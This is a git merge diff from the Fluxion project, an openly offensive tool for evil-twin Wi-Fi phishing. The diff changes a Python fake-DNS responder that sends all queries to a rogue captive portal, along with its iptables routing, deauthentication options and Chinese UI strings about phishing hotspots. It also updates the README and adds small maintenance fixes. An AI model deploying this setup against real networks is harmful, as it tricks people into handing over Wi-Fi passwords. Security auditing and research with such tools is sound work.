Merge remote-tracking branch 'origin/master' into resumable-attacks

This commit is contained in:
Matias Barcenas 2018-04-22 18:36:47 -05:00
commit a95b67efd9
11 changed files with 4359 additions and 91 deletions

View File

@ -2,7 +2,7 @@
<!-- <!--
Note: All issues will instant closed if the issue template is not complete. Please understand that it is easier for us if you fill out the template to help you faster. Note: All issues will instant closed if the issue template is not complete. Please understand that it is easier for us if you fill out the template to help you faster.
!All text inside \<\!-- \--\> is not seen for us so please remove the arrows. !All text inside \<\!-- \--\> will be hidden from us so please remove the arrows in the statements below.
--> -->
#### Read the [wiki](https://github.com/FluxionNetwork/fluxion/wiki)? #### Read the [wiki](https://github.com/FluxionNetwork/fluxion/wiki)?
No* No*

View File

@ -3,7 +3,7 @@
# Fluxion is the future of MITM WPA attacks # Fluxion is the future of MITM WPA attacks
Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues. Fluxion is a security auditing and social-engineering research tool. It is a remake of linset by vk496 with (hopefully) less bugs and more functionality. The script attempts to retrieve the WPA/WPA2 key from a target access point by means of a social engineering (phishing) attack. It's compatible with the latest release of Kali (rolling). Fluxion's attacks' setup is mostly manual, but experimental auto-mode handles some of the attacks' setup parameters. Read the [FAQ](https://github.com/FluxionNetwork/fluxion/wiki/FAQ) before requesting issues.
If you need quick help, fluxion is also avaible on gitter. You can talk with us [here](https://gitter.im/FluxionNetwork/Lobby) If you need quick help, fluxion is also avaible on gitter. You can talk with us on [Gitter](https://gitter.im/FluxionNetwork/Lobby) or on [Discord](https://discord.gg/G43gptk).
## Installation ## Installation
Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps. Read [here](https://github.com/FluxionNetwork/fluxion/wiki/Generate-ssh-keys) before you do the following steps.
<br> <br>
@ -20,6 +20,17 @@ cd fluxion
./fluxion.sh ./fluxion.sh
``` ```
**Fluxion is also available in arch**
```
cd bin/arch
makepkg
```
or using the blackarch repo
```
pacman -S fluxion
```
## :scroll: Changelog ## :scroll: Changelog
Fluxion gets weekly updates with new features, improvements, and bugfixes. Fluxion gets weekly updates with new features, improvements, and bugfixes.
Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master). Be sure to check out the [changelog here](https://github.com/FluxionNetwork/fluxion/commits/master).
@ -70,4 +81,7 @@ For development I use vim and tmux. Here are my [dotfiles](https://github.com/de
* Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately** * Fluxion **DOES NOT WORK** on Linux Subsystem For Windows 10, because the subsystem doesn't allow access to network interfaces. Any Issue regarding the same would be **Closed Immediately**
## Links
**Fluxion website:** https://fluxionnetwork.github.io/fluxion/ <br>
**Discord:** https://discordapp.com/invite/G43gptk <br>
**Gitter:** https://gitter.im/FluxionNetwork/Lobby <br>

View File

@ -711,8 +711,12 @@ index-file.names = (
# Create a DNS service with python, forwarding all traffic to gateway. # Create a DNS service with python, forwarding all traffic to gateway.
echo "\ echo "\
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import socket import socket
class DNSQuery: class DNSQuery:
def __init__(self, data): def __init__(self, data):
self.data=data self.data=data
@ -730,7 +734,7 @@ class DNSQuery:
def respuesta(self, ip): def respuesta(self, ip):
packet='' packet=''
if self.dominio: if self.dominio:
packet+=self.data[:2] + \"\x81\x80\" packet+=self.data[:2] + '\x81\x80'
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'
packet+=self.data[12:] packet+=self.data[12:]
packet+='\xc0\x0c' packet+='\xc0\x0c'
@ -738,15 +742,16 @@ class DNSQuery:
packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.'))) packet+=str.join('', map(lambda x: chr(int(x)), ip.split('.')))
return packet return packet
if __name__ == '__main__': if __name__ == '__main__':
ip='$CaptivePortalGatewayAddress' ip='$CaptivePortalGatewayAddress'
print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('',53)) udps.bind((ip, 53))
try: try:
while 1: while True:
data, addr = udps.recvfrom(1024) data, addr = udps.recvfrom(1024)
p=DNSQuery(data) p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr) udps.sendto(p.respuesta(ip), addr)
@ -864,7 +869,7 @@ while [ \$AuthenticatorState = \"running\" ]; do
local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g") local -r staticSSID=$(printf "%q" "$FluxionTargetSSID" | sed -r 's/\\\ / /g' | sed -r "s/\\\'/\'/g")
echo " echo "
DHCPClients=($(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)) readarray -t DHCPClients < <(nmap -PR -sn -n -oG - $CaptivePortalGatewayNetwork.100-110 2>&1 | grep Host)
echo echo
echo -e \" ACCESS POINT:\" echo -e \" ACCESS POINT:\"
@ -1090,8 +1095,7 @@ captive_portal_unset_routes() {
ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null ip addr del $CaptivePortalGatewayAddress/24 dev $CaptivePortalAccessInterface 2>/dev/null
} }
# Set up DHCP / WEB server # Set up DHCP / WEB server / DNS Firewall
# Set up DHCP / WEB server
captive_portal_set_routes() { captive_portal_set_routes() {
# Give an address to the gateway interface in the rogue network. # Give an address to the gateway interface in the rogue network.
# This makes the interface accessible from the rogue network. # This makes the interface accessible from the rogue network.
@ -1107,15 +1111,10 @@ captive_portal_set_routes() {
iptables --table nat --flush iptables --table nat --flush
iptables --delete-chain iptables --delete-chain
iptables --table nat --delete-chain iptables --table nat --delete-chain
iptables -P FORWARD ACCEPT iptables -A INPUT -p tcp --dport 443 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT \ iptables -A INPUT -p udp --dport 53 -j ACCEPT
--to-destination $CaptivePortalGatewayAddress:80 iptables -A INPUT -p udp --dport 67 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT \
--to-destination $CaptivePortalGatewayAddress:443
iptables -A INPUT -p tcp --sport 443 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
iptables -t nat -A POSTROUTING -j MASQUERADE
} }
captive_portal_stop_interface() { captive_portal_stop_interface() {

View File

@ -3,10 +3,10 @@
# description: 创建一个“邪恶的双胞胎”接入点。 # description: 创建一个“邪恶的双胞胎”接入点。
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalInterfaceQuery="Select an interface for the captive portal." CaptivePortalInterfaceQuery="为捕获的握手包文件选择一个网络功击接口"
CaptivePortalStartingInterfaceNotice="Starting captive portal interface..." CaptivePortalStartingInterfaceNotice="启动握手包文件网络功击接口"
CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回"
CaptivePortalStartedInterfaceNotice="${CGrn}Success${CClr}, captive portal interface ready!" CaptivePortalStartedInterfaceNotice="${CGrn}启动成功${CClr},网络功击接口准备就绪"
CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..." CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..."
CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..." CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..."
CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..." CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..."
@ -24,9 +24,9 @@ CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)"
CaptivePortalUIQuery="选择钓鱼热点的认证网页界面" CaptivePortalUIQuery="选择钓鱼热点的认证网页界面"
CaptivePortalGenericInterfaceOption="通用认证网页" CaptivePortalGenericInterfaceOption="通用认证网页"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." CaptivePortalConnectivityQuery="为流氓网络选择Internet连接类型"
CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推荐$CClr)"
CaptivePortalConnectivityEmulatedOption="emulated" CaptivePortalConnectivityEmulatedOption="仿真"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -8,14 +8,14 @@ HandshakeSnooperMonitorMethodOption="监听模式 (${CYel}被动$CClr)"
HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)" HandshakeSnooperAireplayMethodOption="aireplay-ng 解除认证方式 (${CRed}侵略性$CClr)"
HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)" HandshakeSnooperMdk3MethodOption="mdk3 解除认证方式 (${CRed}侵略性$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperVerifierIntervalQuery="How often should the verifier check for a handshake?" HandshakeSnooperVerifierIntervalQuery="每隔多久检查一次握手包"
HandshakeSnooperVerifierInterval30SOption="Every 30 seconds (${CGrn}recommended${CClr})." HandshakeSnooperVerifierInterval30SOption="每30秒钟 (${CGrn}推荐${CClr})."
HandshakeSnooperVerifierInterval60SOption="Every 60 seconds." HandshakeSnooperVerifierInterval60SOption="每60秒钟"
HandshakeSnooperVerifierInterval90SOption="Every 90 seconds." HandshakeSnooperVerifierInterval90SOption="每90秒钟"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?" HandshakeSnooperVerifierSynchronicityQuery="How should verification occur?"
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})." HandshakeSnooperVerifierSynchronicityAsynchronousOption="Asynchronously (${CYel}fast systems only${CClr})."
HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}recommended${CClr})." HandshakeSnooperVerifierSynchronicitySynchronousOption="Synchronously (${CGrn}推荐${CClr})."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running." HandshakeSnooperStartingArbiterNotice="${CCyn}Handshake Snooper$CClr arbiter daemon running."
HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HANDSHAKEVerifierInterval seconds." HandshakeSnooperSnoopingForNSecondsNotice="Snooping for \$HANDSHAKEVerifierInterval seconds."

View File

@ -23,7 +23,7 @@ readonly FLUXIONNoiseFloor=-90
readonly FLUXIONNoiseCeiling=-60 readonly FLUXIONNoiseCeiling=-60
readonly FLUXIONVersion=4 readonly FLUXIONVersion=4
readonly FLUXIONRevision=4 readonly FLUXIONRevision=5
# Declare window ration bigger = smaller windows # Declare window ration bigger = smaller windows
FLUXIONWindowRatio=4 FLUXIONWindowRatio=4
@ -164,7 +164,8 @@ fi
# FLUXIONDebug [Normal Mode "" / Developer Mode 1] # FLUXIONDebug [Normal Mode "" / Developer Mode 1]
if [ $FLUXIONDebug ]; then if [ $FLUXIONDebug ]; then
readonly FLUXIONOutputDevice="/dev/stdout" touch /tmp/fluxion_debug_log
readonly FLUXIONOutputDevice="/tmp/fluxion_debug_log"
readonly FLUXIONHoldXterm="-hold" readonly FLUXIONHoldXterm="-hold"
else else
readonly FLUXIONOutputDevice="/dev/null" readonly FLUXIONOutputDevice="/dev/null"
@ -466,6 +467,7 @@ fluxion_set_resolution() { # Windows + Resolution
SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}')) SCREEN_SIZE_Y=$(printf '%.*f\n' 0 $(echo $SCREEN_SIZE | sed -e s'/x/ /'g | awk '{print $2}'))
# Calculate proportional windows # Calculate proportional windows
if hash bc ;then
PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc) PROPOTION=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$SCREEN_SIZE_Y}")/1 | bc)
NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc) NEW_SCREEN_SIZE_X=$(echo $(awk "BEGIN {print $SCREEN_SIZE_X/$FLUXIONWindowRatio}")/1 | bc)
NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc) NEW_SCREEN_SIZE_Y=$(echo $(awk "BEGIN {print $SCREEN_SIZE_Y/$FLUXIONWindowRatio}")/1 | bc)
@ -493,6 +495,7 @@ fluxion_set_resolution() { # Windows + Resolution
# Big # Big
TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0" TOPLEFTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y+0+0"
TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0" TOPRIGHTBIG="-geometry $NEW_SCREEN_SIZE_BIG_Xx$NEW_SCREEN_SIZE_BIG_Y-0+0"
fi
} }

View File

@ -10,18 +10,18 @@ FLUXIONFindingWINotice="寻找可用的USB外部网卡接口设备..."
FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!" FLUXIONSelectedBusyWIError="选择的USB外部网卡接口设备正在被调用!"
FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it." FLUXIONSelectedBusyWITip="Run \"export FLUXIONWIKillProcesses=1\" before FLUXION to use it."
FLUXIONGatheringWIInfoNotice="采集接口信息..." FLUXIONGatheringWIInfoNotice="采集接口信息..."
FLUXIONUnknownWIDriverError="Unable to determine interface driver!" FLUXIONUnknownWIDriverError="找不到网卡设备"
FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..." FLUXIONUnloadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to unload..."
FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..." FLUXIONLoadingWIDriverNotice="Waiting for interface \"\$wiSelected\" to load..."
FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..." FLUXIONFindingConflictingProcessesNotice="自动查询干扰Fluxion运行的进程..."
FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..." FLUXIONKillingConflictingProcessesNotice="结束干扰Fluxion运行的进程..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!" FLUXIONPhysicalWIDeviceUnknownError="${CRed}Unable to determine interface's physical device!"
FLUXIONStartingWIMonitorNotice="启动监听模式..." FLUXIONStartingWIMonitorNotice="启动监听模式..."
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Interface monitor mode enabled." FLUXIONMonitorModeWIEnabledNotice="${CGrn}监听模式启动成功"
FLUXIONMonitorModeWIFailedError="${CRed}Interface monitor mode failed!" FLUXIONMonitorModeWIFailedError="${CRed}监听模式启动失败"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="启动扫描, 请稍等..." FLUXIONStartingScannerNotice="启动扫描, 请稍等..."
FLUXIONStartingScannerTip="Five seconds after the target AP appears, close the FLUXION Scanner." FLUXIONStartingScannerTip="目标AP出现后,按 Ctrl+C 关闭FLUXION扫描"
FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..." FLUXIONPreparingScannerResultsNotice="综合扫描的结果获取中,请稍等..."
FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)" FLUXIONScannerFailedNotice="你的无线网卡好像不支持 (没有发现APs)"
FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..." FLUXIONScannerDetectedNothingNotice="没有发现访问点, 请返回重试..."

View File

@ -190,6 +190,7 @@ function installer_utils_check_dependencies() {
# Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array # Parameters: $1 - CLI Tools missing array (will be installed) $2 - substitutes array
function installer_utils_run_dependencies() { function installer_utils_run_dependencies() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
ping -q -w 1 -c 1 8.8.8.8 > /dev/null || $(echo -e "\n[!] No internet connection found"; exit 1)
# The array below holds all the packages that will be installed. # The array below holds all the packages that will be installed.
local __installer_utils_run_dependencies__dependenciesInfo=("${!1}") local __installer_utils_run_dependencies__dependenciesInfo=("${!1}")

2087
misc/devices.json Normal file

File diff suppressed because it is too large Load Diff

2164
misc/devices.xml Normal file

File diff suppressed because it is too large Load Diff

View File

@ -20,10 +20,10 @@ if [ ! "$1" ]; then
fi fi
echo "$HEADER_SIZE FLUXION Info" echo "$HEADER_SIZE FLUXION Info"
if [ -f "fluxion" ];then if [ -f "fluxion.sh" ];then
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion)) declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
else else
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion)) declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
fi fi
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}" echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
echo -ne "\n\n" echo -ne "\n\n"